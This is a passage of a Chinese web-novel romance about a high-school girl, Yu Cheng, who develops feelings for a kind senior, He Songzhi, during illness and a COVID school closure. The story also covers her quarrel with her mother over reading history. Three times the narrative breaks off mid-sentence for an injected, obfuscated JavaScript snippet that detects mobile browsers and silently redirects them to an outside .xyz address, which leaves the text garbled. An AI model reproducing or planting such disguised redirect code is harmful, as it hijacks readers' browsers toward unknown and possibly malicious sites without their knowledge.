线路三,最安全版。从家门口的地铁站D口下去,再从学校旁边的地铁B口出来。全程甚至不用过马路。 眼下,她连走路都困难,当然会选择安全系数最高的线路三。 贺颂之有些不解地问她:“这怎么走?” “地铁口。” 他瞬间明白,轻声道:“我倒是还从没想过这样走。” 说完也不再另说些什么。只是带着她继续向前走。 速度很慢,但一步一步地,十分沉稳。 让人安心。 直到站在下行的电梯上,贺颂之见余澄站稳了,才松开她的手。 十一点多的地铁站里,行路人并不是很多。 足够把身旁人的一切活动,都放的很大很大。 他们在电梯上保持着心照不宣的沉默。 直到进了小区门,余澄连忙说:“我家就在前面那栋,我自己过去就好。” 贺颂之点点头,有意和她保持了一定的距离。 “回去好好休息,多喝热水。早点康复啊。” 余澄走进了单元楼,坐电梯到自己所在的楼层,从衣服兜里掏出钥匙开了门。 她用最后一丝气力给自己倒了点早上烧的热水,囫囵吞下四颗止疼片,再取出一个暖宝宝贴在小腹的位置。 一切做完之后,她跌坐在床上,拿手机给自己定好下午起来的闹钟。 松软的被子一裹,她便陷入昏昏沉沉的睡眠当中。 被闹钟吵醒,余澄手臂一伸将它关掉,盯着天花板发呆。 不想起床。 随意扫了眼腕上的手表,已经是下午五点了。 那,就勉强起一下吧。 痛感来的快,去的也快。睡了一觉,虽然小腹还是隐隐作痛,但比起那时候,已经好上了不少。 她去卫生间洗了把脸,望着从下巴淌到洗手台的水珠发起了呆。 不可避免地想到了早上的场景。 在身体与心理濒临双重崩溃时,一点细微的感觉都会被无限放大。 仿佛整个世界都只剩下那一丝微弱的知觉。 而现在,仍深深印刻在她脑海里的,只有两种感觉。 一种是她身体内部难以忍受的疼痛。 另一种则是他搀扶她时,掌心传来的温热。 8. 第二场雨 晚自习开始前,余澄自觉身体稍微好了一些。 她起身回学校,去拿自己今天该写的作业。 时间才刚刚过了七点,教室里人并不多。 董茵却是坐在座位上。 不同于余澄那种学的时候好好学,但也留够时间玩的学生,董茵从高一一开始好像就有拼尽全力的打算。虽然平时也与余澄开玩笑,但剩下的时间基本都奉献给了学习。自余澄认识她以来,就没见过她下午好好吃饭。一般都是中午就买好面包下午啃,或者干脆不吃。 董茵正边啃着面包边写作业,看到余澄来,连忙把面包放下。左手比了个枪的形状,抵上余澄的太阳穴。 “董警官已经将你抓获,请嫌疑人老实交代。” 余澄讶异:“啊?” 董茵见她不解,放下手,先问了句:“你还好吗?” 余澄心有余悸:“早上那时候,是我这辈子目前为止痛经最严重的一次了。现在倒是好了不少。” 董茵点点头,却又重复了刚才的动作:“嫌疑人身体状态良好。可以继续接受询问。” 余澄小心翼翼地盯着她:“董茵啊,你这......今天我不在的时候,你受什么刺激了?” 董茵看了看余澄,确定她是真懵之后,才不再演戏。 凑过去对她说:“你是真不知道?今天贺神来班里找老韩签的你的出门条啊。” 来班里?! 余澄此时意识清醒,稍微回想了一下课表。整个人愣住了。 坏了,她当时身体不舒服,竟然没有想起来。今天早上第四节是韩康安的课。 贺颂之在办公室没找到他,就只能进她们班去找他签字了。 她后知后觉,心中暗自懊悔自己当时没有想起来这一点。 “啊?当时没有想起来?余澄,你们这么熟的吗?” 天哪。 她怎么说出来了。 余澄冲董茵笑笑,毫不扭捏地说:“不熟,他连我名字都不知道。只是他心地善良,我们俩又刚好住一个小区。见我当时疼的那么厉害,他就送我回家了。” 董茵惊叹道:“哇哦,这不是偶像剧情节吗。那后来呢?” 余澄避开了董茵探究的目光。平和地回复她:“生活哪有那么多偶像剧情节呀。他能送我,是因为他人本就很好。不是因为我们之间有什么粉红泡泡。” 他们认识不过一个月,甚至在一定程度上,可以说是她单方面的认识。 他在此之前,连她的名字都不知道。 他在扶她的时候,也很绅士,没有任何冒犯的举动。 余澄不愿多想。 她觉得把这种举动都拿性缘脑去解读,是对这样一个光风霁月的人的亵渎。 但董茵这么一说,余澄觉得,她的心还是跳动的快了许多。 一点不受她控制。 余澄把黑板边栏上各科布置的作业认真记了下来。又将对应的练习册塞到书包里。转身就要出教室。 董茵拉住她书包上垂下的带子,晃了晃:“真要走呀,不留下陪陪你被冷落了大半天的同桌吗。” 余澄冲她笑了笑:“以前以后都天天陪你呢。今天就让我先回去,啊?” 她忽然,脑海里就有一股冲动。 很想回家。 很想拿起手机。 不管是从什么地方了解,至少,也再多了解那个人一点。 回到家里,余澄把自己的手机拿出来。 在空间漫无目的地翻着,也没找到一点关键信息。 上次那个乌龙闹得太过可笑,她也因此错失了加他联系方式的机会。 哦对,也不是一无所获。 收获了列表躺尸一枚。 也不知道“宁静致远”是不是太想做生意,她那天之后不再回消息,也没删了她。 甚至空间发点小广告也不会屏蔽她。 ...... 余澄强行把自己的思绪扭转回来。 她的空间都是同龄人的学习与生活分享,与他的生活好像确实距离太远。 不对,自己的好友,总不会全是同龄人吧? 余澄翻着自己的好友列表,忽然眼前一亮。 松陵一中墙。 她怎么就没想到! 他那么有名,校园墙上一定会有和他有关的事吧! 她点进校园墙的空间动态。搜索“贺颂之”三个字。 一无所获。 也对,谁会问的这么不加掩饰。 余澄想了想,输入“高三”。 手指快速划动着。在一众抱怨声中,终于找到了一个帖子。 【松陵一中墙: (1578)墙墙本高二生这周在校园偶遇高三hsz,好帅,想多了解他。他有什么事迹吗?(玫瑰)(比心)】 帖子不长,但底下的评论堆起了高楼。 【雪地玫瑰:同求!本高三老学姐也想了解捏(星星眼)(星星眼)】 【燃烧:大巨!自从分了科就几乎没跌出过文科第一的位置啊!而且还没什么架子,一点不装b!】 【积雪草:成绩什么的,都是身外之物。我来说一个。去年下雪的时候,学校里的流浪猫被冻坏了,贺神直接从家里拿了个纸箱塞上他不用的羽绒服给猫咪避寒呢。】 【锦鲤搬运工:高一和他一个班。他是我班语文课代表。天天看的书高级的吓人嘞!】 【今晚早点睡.:学长人是真的棒!给人分享经验一点都不藏着掖着。】 【tyujbvcdfghn:上次在图书馆,我不小心把咖啡洒了,弄到贺神和旁边同学的书和衣服上了。但贺神一点都没生气,还帮着我一起收拾。】 余澄一条一条翻着他们的评论,唇角不自觉地扬起。 贺颂之,真的是一个很好很好的人啊。 她从没想过把他帮她这件事情往他对她有独特情愫的这方面去想。他们相逢不过几面,直到今日才算得上是相识。 但这不影响,她心里的悸动啊。 高中,是一个女生早就过了公主梦的时期。 可谁还没有幻想过,会有一个白马王子的降临? 余澄将手机放下,深吸了一口气。 一向情绪稳定的她,好像遇到了他,心中就会掀起狂风滔浪来。 好像,是有点,喜欢他了。 不行啊!!!!!!!!! 她才高一!她要学习! 对。 我不喜欢他。 这只是,对于学神的仰慕而已。 余澄对着空气坚定点了点头。 她不再想这件事,拿出作业认真写了起来。 昏黄的台灯映衬得少女的眉眼格外柔和。 余澄端坐在书桌前,一笔一划写好每一道题。 这是她的未来。 其他人都无法决定,也很难影响的未来。 * 第二天早上回到教室里,余澄还是不可避免的受到了众人的调侃。 那些善意的玩笑,她还能认真地解释一番。 可面对某些包裹在调笑下的恶意,她却是忍不住回击。 班里一个长相不错,也多才多艺的女生赵新柔就在其列。 早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042237|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上大课间做操的音乐铃声响起,大家都纷纷往下走。 余澄和董茵坐在离门口比较远的位置。教室本就拥挤,此时同学们都站在过道里,行走就更加艰难了。 她和董茵正被挤在人群里,欲出不得,却忽然听见赵新柔那不大不小的声音—— “怎么我就没有某人这种好运气呢。和贺神住一个小区,痛经的时候还刚好被他撞到。” 一般她的小姐妹也附和着:“就是啊。而且痛经真有那么夸张?谁信呢。” 其他人本来都在低声聊天。 如果按他们的音量,余澄本应该是听不到对话内容的。 那么面前的这两个人,应该就是故意这么说的了。 董茵看了一眼余澄,小声说:“别理这种人。” 余澄忍着心中情绪起伏,回应她:“嗯。小不忍则乱大谋。” 可谁知站队时,她们又与赵新柔两人站在一前一后。 余澄恰好站在赵新柔的前面。 赵新柔拍了拍余澄的肩。等余澄转身后,冲她一笑。 “余澄,痛经还好的这么快。你吃的什么药啊?说出来让我们都好好学习一下呗。” 余澄忍无可忍。 她性格好,却也不是软弱无能,任谁都能随意欺负到头上来的。 她攥紧拳头,对着赵新柔道: “赵新柔,你过分了。 第一,女生的经期疼痛程度本就不同,这是先天决定的。有时候调理也没有用。没必要自己幸运,就去否定他人的真实感受。 第二,痛经撞到贺颂之就是好运气?即使他是个很好的人,你这话说的也大错特错。健康问题不该被浪漫化解读。女性对于疼痛的忍耐也不应该成为证明缘分的筹码。” 赵新柔愣住了。 余澄在班里,其实也不是存在感特别高的那种人。她向来都是淡淡的,对于老师说的什么都会认真照做。是赵新柔挺讨厌的那种乖学生。 偏偏这个乖学生,在期中考里就崭露头角。分走了不少本来属于她的注意力。 她便更看不惯余澄了。 回神过来,她忙笑道:“呵呵,余澄,我没那个意思。开个玩笑而已。别太在意了。” 余澄冷冷看着她。 “是吗?可我觉得这并不好笑。” 对待赵新柔这种人,就一定不能心慈手软。 她向前一步,你向后退一步。她就会愈发得寸进尺。 一般人见到余澄的第一印象是乖巧、好拿捏。 但和她相处久了,就会发现,她骨子里是个很坚韧的人。 柔软是她接人待物的方式,却并不是她面对整个世界的姿态。 一旦触碰到她的底线,那么本看起来温柔的水,也会迅速凝结成坚冰。 “赵新柔,希望这是我最后一次听到你说这种话。” 赵新柔讪讪道:“好,会的。” 做操的时候,两人相安无事。 只是在回班的时候,赵新柔的声音还是顺着微风,飘进了余澄的耳朵里。 “她以为她是谁啊,口气这么大。” 和余澄手挽着手的董茵自然也听到了赵新柔的话。忿忿道:“这人怎么这样啊?!” 余澄倒是没怎么在意,淡淡地笑了笑。 “和这种人生气,只会影响心情。 与其花时间在她身上,还不如自己努力跑快点。” 天空澄净地像被揉碎的蓝玻璃,云絮懒洋洋地蜷在边角。 余澄闭上眼,仰起头,感受独属于青春的舒扬气息。 “跑快点,耳边就不会有其他声音了。” 9. 第二场雨 余澄没有想到,疫.情会如此来势汹汹。 她初中时,就曾因为疫.情居家学习过几个月。后来形势渐好,她整个初三都是在线下学习的。 却不想高一第二次月考还未来临,它就卷土重来。 起初只是校园中传闻有一个人阳了。 可到了后面,疑似生病回家的,变成了大家身边的人。 这一天早上,余澄和周围的同学们一样,戴着宽大的蓝色口罩,正认真听着台上的语文老师讲课。 韩康安突然推门进来。 他扫视班级一眼,向语文老师点点头。对方会意出去。 韩康安站在讲台上,一锤定音:“咱们班昨天请假的宋同学,刚刚检测结果出来了。” “是阳性。” 他扫视一遍班里面的同学:“学校为了大家的安全着想,决定从今天起暂时停课。你们赶快收拾一下东西回家吧。” 韩康安与语文老师一前一后走出了教室。 门掩上的那一刻,教室里的骚动终于抑制不住了。 不是恐慌,甚至还有些开心。 “终于不用上课啦!” “好兄弟,回去王者峡谷见啊!” “这下我和我的手机就能长相厮守了!” 董茵一边从柜子里整理她要用的书,一边跟余澄说:“余澄,你觉得这次咱们要多久才能回学校?” 余澄看她:“不知道啊。” 余澄向来是个会想很多的人。其他人随便装点书就走了,她却不愿错过任何一本可能需要带回家的书。 收拾着收拾着,周围的人基本走光了,书包也满了。 除此之外,她桌子上还堆叠起一沓高高的书。 即将出门的董茵:“......” 她担忧地看余澄一眼:“余澄,你这...怎么搬回去啊?” 余澄笑了笑:“山人自有妙计。” 什么妙计?硬搬呗。 作为全班最后一个离开教室的人,余澄很自觉地关上班里的灯,用脚把门踢上。 为什么是把门踢上,因为她实在是腾不出手...... 她想了想,把书放在桌子上,又认真扫视了班里一圈。 窗户关上了。 书架上没发完的作业被取完了。 欸,等等,书架? 看着书架底层放着的一叠崭新深蓝色垃圾袋,余澄脑海中浮现出一个神奇的想法。 * 地铁站里,余澄背着书包,缓慢前行。 手中还拿着一个...满满的大垃圾袋。 里面装的倒不是垃圾,而是她装不进书包里的书。 虽然总重量没变,但好处就在于,她总算是腾出了一只手。 能勉强轻快些。 只是,她一路走着,总有种不详的预感。 感觉垃圾袋有点脆弱啊。 下一秒,这不详的预感就成真了。 “刺啦——” 大小不一的书本散乱洒了一地。 余澄低下头查看状况,与塑料袋裂开的那条大缝面面相觑。 这质量,也太差了吧...... 场面实在有些好笑,但她实在顾不上笑了。 连忙蹲下来,去收拾这一地狼藉。 路过的学生也不是没有。但他们大多都行路匆匆。 许是害怕感染,没有人停下来帮余澄捡书。 余澄心里倒是也没有多大起伏。 形势这么严峻,她理解所有想要自保的人。 健健康康。是在这个不平的时期,所有人最大的愿望。 她准备把地上的书按大小堆到一起。还是双手把它们抱回家去。 唯一头疼的,就是地上那破了个大洞的垃圾袋。 要是带着它走一路...... 未免也太拉风了吧。 余澄忙垒书忙的不亦乐乎。 于是,就没有注意到—— 来去匆忙的人群里,竟有一个人,停下了脚步。 一辆牛油果绿色的小推车从她身后出现,慢慢悠悠向她晃了过来。 余澄抬头望向小推车飘来的方向。 贺颂之长身玉立,一双眼含着笑意望着她。 他的眼睛本就生的好看,再加上口罩掩去了下半张脸,就更显得浓墨重彩。 眼仁像琥珀一样纯净,却又流转出耀眼的光彩。 “学妹,怎么这么狼狈?” 他说完这句话,俯下身来。 把两边的袖子挽起来,和余澄一起垒起了书来。 动作利落,不到一会儿就把所有书解决到位。 贺颂之做事的时候极其专注,只看眼前事。 总算把书解决完了,他才注意到一旁孤零零的垃圾袋。 看向少女显得有些伶仃的身影,他还是没忍住发问:“你拿这个装书吗?” 余澄回头,后知后觉地发现她这个做法有些奇怪。 她不自然地把一缕溢到前面的头发别到后面去:“嗯,实在无计可施。” 贺颂之还是没忍住,轻笑一声:“你这个方法,还挺别致的。” 他拍了拍那辆牛油果绿的小车:“喏,我的车。别硬扛了,让你的书坐我的车回家吧。” 余澄点点头:“嗯。谢谢学长了。” 贺颂之完全没让余澄再去动那沓书,他稍一用力,就将那一沓书搬上了他的小车。 本就被书塞的满满的小车瞬间又高了一层。 看着就颤颤巍巍。 看着余澄担忧的眼神,贺颂之宽慰她:“没事,它没那么脆弱。” 他略微俯身,将小车往前推:“我们走吧。” 小车就像一位风烛残年的老人,歪歪扭扭地艰难行进着。 前一段路倒还顺利,可到了拐弯的地方,小车像是终于撑不住了。 轮子一歪,像是终于认了命,侧翻了。 她的书,他的书,全部“哗啦啦”倒了一地。 余澄:“......” 贺颂之:“......” 也许是这一天的经历太过坎坷,余澄也不免苦中作乐了起来。 她唇角扬起:“是不是有点像,‘洞天石扉,訇然中开’。” 贺颂之也笑了:“情境不怎么适配,意境倒是足够了。” 她化用的还挺不错。 他不知道的是,余澄从小就受父亲影响,读过许多古代经典,有些到现在还能背下来。 只是在纯粹以学习成绩为导向的校园环境里,她所擅长的,有时候很难被发挥出来。 他们重复了一遍不久之前经历的动作。 好不容易垒完,他们直起身来,看着对方同样无奈的神色,不由得微微笑了起来。 口罩掩得住上扬的嘴角,却盖不了雀跃的眼睛。 好像,每次和他遇见,都是余澄很狼狈的时候。 但她在他面前一点也不觉得丢脸。 反而......很安心。 因为她知道,眼前的这个人不会嘲笑她,也不会同情她。 他所有的举动,只是他认为自己应当做的,不包含任何其他意味。 是人对人最基本的信任与尊重。 她看向贺颂之:“那现在怎么办?你的车,好像经受不了再一次折磨了。” 贺颂之思考半晌:“两个人力量总比一个人大。这样,我在小车前面扶着,你在后面扶着。” 想了想,又开玩笑补充一句:“不是让你出力多啊。走前面脚容易被轮子硌着。这是我的惨痛教训。” 余澄点点头。 他们一前一后推着小车。 小车只有一层,高度不高,两个人都得微俯着身子。 这个姿势不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042238|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很舒服,甚至还有些尴尬。 眼见气氛有些凝滞,贺颂之便主动开了口。 “你们班也有情况了吗?” “嗯,有位同学刚出结果。” 他笑笑:“那你们班坚持的还蛮久的。都和我们高三的一起放了。” 余澄没听懂:“啊?” 贺颂之向她解释:“之前其他班有陆陆续续停课的。如今形势严重了,全校今早都被要求返校了。” 余澄点点头,继续推着小车,心情有些沉重。 他们继续向前推着,余澄也觉得静默有些尴尬。主动找起了话题。 “学长你今天怎么走地铁站这条路了?” “一回生二回熟啊。” 贺颂之侧身拉着小车前面,留给她一个好看的剪影。 “走那两条路,我怕我的小车一朝崩殂,要是造成交通事故就不好了。” 这人说话一点不故作玄虚。 但有时候用起典故,莫名给人一种幽默的感觉。 两人好不容易上了上行的电梯。 小车总算有了坚实的依靠,站的稳稳的。 余澄终于直起了身子,揉了揉自己酸痛的背。向前看去。 天光一点一点展现在两人面前。那是与地铁站里强烈的人造光不同的柔和。 阳光倒灌进出口,将贺颂之的轮廓熔成半透明的薄雾。 虽然模糊,却又清晰地印进余澄的眼里。 久久不能散去。 到了余澄所在的单元楼下,她忙把属于自己的那沓书抱起来。 对着贺颂之道谢:“学长,真的特别特别感谢你。帮了我这么多次。” 他应道:“没事,都是小事。” 余澄进单元门的时候,转头向贺颂之道别。 少年的衣服在风中飘扬,笑着与她挥了挥手。 那一刻,余澄忽然意识到—— 感情从来都不是一件可控的事。 即使她清楚,他所有做出的举动,都只是因为他人很好。 却还是, 会不自觉地, 喜欢上他。 从初见那天,就喜欢他了。 * 回到家中,余澄迅速拆了包速食,解决了午饭。 她一边慢吞吞地吃着,一边打开手机。 置顶的班级群里早已涌现出许多消息。 【班主任-韩老师:后续的学习将在腾讯会议中进行。今早大家先好好休整一下,下午14:00前进腾讯会议上课。会议号:6231-1834......】 【班主任-韩老师:大家不要松懈。以后早上和下午上课前都会考勤。晚上大家在班级群老师发的链接里提交作业。第二天各科老师会把没交作业的人的名单发群里。重要的话说三遍,不要懈怠!不要懈怠!不要懈怠!】 【班主任-韩老师:各小组赶快建群,方便联络。组长名单如下:......】 或许是余澄乖巧的形象太过深入人心,韩康安就把她定为了她们组的组长。 余澄咬着勺子,迅速把她们小组的六个人拉到了一个群里。 又退出来,去刷空间。 一打开空间,余澄就被满屏幕的“啊啊啊啊啊啊啊啊啊啊啊啊!放假了!”填满。 最新一条是明霜发的。 【一只美少女战士:逍遥的日子开始咯~(呲牙笑)(呲牙笑)(呲牙笑)】 余澄顺手点了个赞。 她本想继续往下划,却不料意外按到了给明霜点赞的另一个人的头像。 直接进了那人的空间。 余澄手忙脚乱,怕在那人的空间里留下访问记录。 但那人空间冒出来的一瞬间,她却不自觉地被左上角的头像所吸引。 纯白色的头像。 头像上面是三个字母—— hsz。 10. 第二场雨 hsz。 贺颂之。 余澄脑海里浮现出董茵那天的话。 “越简洁越好吧。裴凌的头像是个特别丑的火柴人。贺神就更简约了,头像只是纯粹的白。” 纯白。 应该就是他了。 她打开文具盒,抽出一张小纸条。 这次特意拿了黑色百乐笔。 将他的企鹅号码认真摘抄了下来。 然后退出。 她想了想,从抽屉底部翻出那张糊作一团的小纸条,对照了一下。 ...很好。 那天认了半天的数字不是8,是6。 余澄退出贺颂之的空间。 她想了想,还是切换成小号去加他。 认识到自己心意之后,她更不敢用大号去加他。 在他的心里,她或许只是一个萍水相逢的学妹。 但她还是会忍不住乱想。 万一他发现了呢? 那他们,会不会连这一层最普通的关系,都维持不了呢? 她想了想,还是发过去那条人机般的验证信息:【。:我是。】 对面好像一下子就通过了。 【hsz:我们已成功添加为好友,现在可以开始聊天啦~】 余澄想了想,把给他的备注改成了“贺颂之学长”。 【贺颂之学长:你好啊。(花朵脸)(花朵脸)】 【。:学长好。(玫瑰花)(玫瑰花)】 【贺颂之学长:学弟,给个备注?】 完了。 她从哪儿乱找个名字啊。 余澄想了想,终于在她的脑海里扒拉出了一个不是同校的男性生物。 她那在松陵另一所名校松大附中上高三的表哥,甘南寻。 甘南寻学的是理科,成绩相对来说也没那么好。 这么想来,他和贺颂之,应该这辈子也不会碰上。 她放下心来,在聊天栏里劈里啪啦打字。 【。:高一甘南寻。】 贺颂之看到这几个字,顺手把对面的备注改成了“一中-高一-甘南寻”。 他有加完好友先扫一眼对方动态的习惯。 左划看“甘南寻”的动态,发现看不到。 再看资料卡,点赞0个。 哦嚯,是小号啊。 不过,贺颂之没有探究别人隐私的习惯。 小号就小号吧,他想。 “甘南寻”也并没有再问他问题。 两个人的对话就这样尴尬地终结了。 * 余澄并没有第一时间去翻贺颂之的动态。 她吃完饭就给甘茯苓打了个电话,说自己已经回家了。 甘茯苓显然也在家长群看到了消息,并没有太惊讶。让她下午专心学习。 余澄把自己搬回来的大堆书堆在书架的空处和书桌上。 她订了个一点四十的闹钟,躺在床上随意刷着手机,不知不觉中就睡了过去。 闹钟响起的时候,余澄在床上打了个激灵。 她切回大号,打开新建的小组群,在聊天框里快速打着字。 【葬爱·幽梦璃雪:大家都起了吗,起了的报数。】 董茵回的格外快。 【别看我只是一只羊:1】 随即董茵向她发来私信。 【别看我只是一只羊:余澄,你这名儿......】 好像,是挺尴尬的...... 余澄想了想,还是把名字改成了“追月亮的兔子”。 【追月亮的兔子:好了。】 【追月亮的兔子:那你这个名字的来源...是从茵再到青青草原?】 【别看我只是一只羊:聪明。】 余澄:“......” 她跳出私聊界面,重新点进小组群。 里面倒是整整齐齐出现了四个“1”。 沈博坐她和董茵斜后方,也被划到了这个组里。 他的企鹅名叫“博学而笃志”,还挺符合他一贯的作风。 余澄在腾.讯会议里给韩康安打下“第三小组已齐”。 其他组的组长也整齐划一地打下相似的字样。 忙碌的学习时光又开始了。 * 有句话说的没错,人一回家,心就飘了。 特别是在有手机的情况下。 电脑里,老师讲课讲的抑扬顿挫,眉飞色舞。 余澄本想好好听课,但神不知鬼不觉地,就拿起了手机。 从小到大,余澄不是没有好朋友。只是大多数都是阶段性的。 在一起的时候,玩的也很快乐。 只是后来地缘上疏远了,心的距离就也不自觉地被拉开了。 余澄不想费什么心思去维护人际关系。 或许这就是缘分吧, 总有人,会陪你走过某一段路, 等路到尽头了,踏上不同的新征程,就会自然而然地散了。 她不觉得有什么不好的。 也是因为她这样的性格,和她网上聊天的人虽然一直有,却一直不相同。 如今在她列表里活跃的,算起来也就一个董茵,一个她们小组群了。 【别看我只是一只羊:余澄,好无聊啊啊啊啊啊啊啊啊啊啊。】 【追月亮的兔子:无聊,就去听课。(狗头)】 【别看我只是一只羊:我不要。】 【别看我只是一只羊:这节地理课欸,谁听呢。】 余澄恍然抬起头。 她们班的地理老师是个慈眉善目的光头大爷。讲课很生动。 让余澄印象最深的就是,他讲他隔壁同事天天调楼顶太阳板角度只为让水烧的更快。 ...... 地理老师仍用他平时欢快的风格讲着课,时不时还与同学们互动着。 “来,听懂的同学,在屏幕上打1啊。” 然而并没有人理他。 余澄实在是于心不忍。 也顾不上尴尬,敲了个“1”就赶快发到了公屏上。 【47余澄:1】 地理老师看到这条消息,非常开心。 “欸,好,听懂了就好啊!” 于是接下来,他每讲一处,都要询问余澄的意见。 余澄被硬控了四十分钟,打了十几个“1”。 好不容易下了课,余澄才回过神来继续看手机。 最上面的是董茵的私聊。 【别看我只是一只羊:余澄,你也太勇敢了吧!】 【别看我只是一只羊:...祝你好运。】 余澄回她个死亡微笑。 再往下的是她们小组群,几十分钟没看居然刷了99+。 本来余澄设定的组名就叫“第三小组群”,十分正经。但她把其他组员都设置成了管理员,就导致了如今的混乱局面。 【别看我只是一只羊修改了群名称为“澄姐和她的专业团队(6)”】 【博学而笃志修改了群名称为“好好学习,天天向上(6)”】 【别看我只是一只羊修改了群名称为“羊村的人就是(6)”】 【别看我只是一只羊:沈博,别纠结了,一个群名字而已啦。】 沈博果然没有再改,只是发了无数个死亡微笑刷屏。 其他三个人也迅速跟上,一人发了好几个大拇指刷屏。 余澄:“......” 她继续往下看,组里另一个比较活泼的男生曲承宇又发起了挑战。 【Solo、:写完物理作业的扣1】 看着底下整齐跟着的3个“1”,余澄真的晕了。 ?! 如果她没记错的话,物理作业是今早第三节课才布置的吧?! 这群恐怖的人,居然在课上写作业! 【Solo、:大家都加油,期待晚上在王者峡谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042239|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与大家相见。(拳头)(呲牙笑)】 【博学而笃志:组长,他扰乱军心,把他禁言!@追月亮的兔子】 余澄看着他们的聊天记录,忍不住扬唇笑了笑。 * 一下午的课程就在摸鱼与听课的交织中结束了。 夜幕降临。 余澄拿起笔,认真写着作业。 风声在窗外呼啸着,她将窗户锁上,窗帘也拉上。掩去外界一切不平。 不管世界怎么动荡,都要守住内心安宁。 大约晚上九点半的时候,她把作业写完了。 甘茯苓也正好回家。 甘茯苓拿消毒水在身上喷了几下,把大衣脱下来,又去卫生间把手反反复复洗了好几遍。 这些动作做完,她在余澄的房门前敲了三下。 余澄恰好放下笔:“请进。” 甘茯苓推门进来,看到余澄在写作业,很是满意。 “特殊时期,学习也别拉下。高一是为你的整个高中打基础的时候。千万不要落下功课。” 余澄点点头:“我知道。” 甘茯苓环视一周,看到余澄搁在旁边凳子上的书包,随口说:“你把书包掏空,我去洗一下。” 余澄没想太多,应了一声,把书包里的书都倒了出来。 她把空空如也的书包递给了甘茯苓,可对方不知看到了什么,一下子脸色就变了。 “把手拿开!” “啊?” 余澄把另一只随意放到书堆里的手拿了起来。 这才发现甘茯苓生气的根源。 她那本之前承诺过要还的书,此时就静静地躺在书堆里面。 它并没有在最上面,但封面与其他的教科书风格截然不同,十分显眼。 这本书当时被余澄随手放到了书包里,想着看完再还。结果她这将近一个月一直沉迷于学习,看书也只是断断续续地几页几页看,还没看完,就继续放到了书包里。 甘茯苓胸中一股止不住的怒火:“余澄,你不要表面一套背后一套的。有意思吗?!” 余澄忽然就有一种深深的无力感。 她不想再退让下去,握着拳头,迎着甘茯苓生气的目光,还是把自己想说的话说完了。。 “妈妈,从小到大,看历史书一直都是我的爱好。 我知道,你怕我看书会影响到学习,更怕我会和爸爸做出相似的职业选择。 但我向你保证,第一,我不会让我的爱好影响到我的成绩,我知道自己的未来有多重要。 第二,目前我还没有打算走爸爸那条路。他当年出的事也只是意外,即使我走了那条路,发生在我身上的概率也真的很小。” “书我会看,也会认真学习。我并不认为这是什么相悖的事情。” 甘茯苓和她对峙着,谁也没说话。 过了一会儿,甘茯苓冷哼了一声。 她向门外走去,边走边说:“行吧,你大了,翅膀硬了,我看我是我管不了你了。” 即将走出去的时候,她回头看了余澄一眼。 “余澄,希望你别后悔。” 甘茯苓把门重重地带上了。 余澄跌坐回她的椅子上,心里有种止不住的无力感。 这几年来,她们都不会刻意提起余梁。 因为她们都明白,提起这个她们都深爱的人,只会给彼此带来更大的伤害。 余澄知道甘茯苓这次是暂时妥协了。 可是以后呢? 她不敢想今天听完这段话之后,甘茯苓会有多难受。 许多感受在余澄的脑海里交织着,她只觉得脑子昏昏沉沉的。 忽然想起董茵说过的话。 贺颂之会耐心回复大家对他提出的问题。 像是抓住了救命稻草,她迅速切换小号,打下了她此刻最烦恼的事情。 【。:学长好,请问如果家长非常抵触我的兴趣爱好,我该怎么办?】 11. 第二场雨 【一中-高一-甘南寻:学长好,请问如果家长非常抵触我的兴趣爱好,我该怎么办?】 电脑“滴哩”响了一声。贺颂之放下笔,扶了扶金色框的蓝光眼镜,点开了企鹅消息栏。 想了想,他修长的手指在键盘上认真敲下两个问题。 【这要具体问题具体分析。你的兴趣爱好是什么?家长抵触的原因呢?】 没等对面回复,他又继续打字。 【如果是游戏或者看动漫的话,适度也不是完全不可以,但要......】 还没敲完,对面消息就迅速来了。 【一中-高一-甘南寻:看历史相关的书】 贺颂之:“......” 是他以小人之心度君子之腹了。 他继续打字:【那这个爱好挺好的啊,你家长为什么会这么觉得?】 对面过了半分钟都没有回复,但上方的状态一直是“正在输入中”。 贺颂之也没有退出聊天框,耐心地等候着。终于,“甘南寻”发来了一条很长的消息。 【是,这个爱好听起来挺正经的吧。但是在我们家,有一点点特殊......因为一些家庭原因吧,这几年我妈妈对我看书这个事都有些抵触。而且她怕我影响学习。所以反应特别大。】 “甘南寻”并没有对他敞开心扉,这点贺颂之并不意外。毕竟他们加好友也才一天。 他想了想,从这段话中提取了关键信息,继续回复:【我个人觉得,你应该和妈妈好好沟通,坦诚是亲子关系里非常重要的一部分。】 【贺颂之学长:另外,虽然我不太清楚你们家的情况。但是,如果是这几年才抵触的话,说明她内心没有那么坚持。】 【贺颂之学长:找到问题症结,努力解决,一切都会好起来的。】 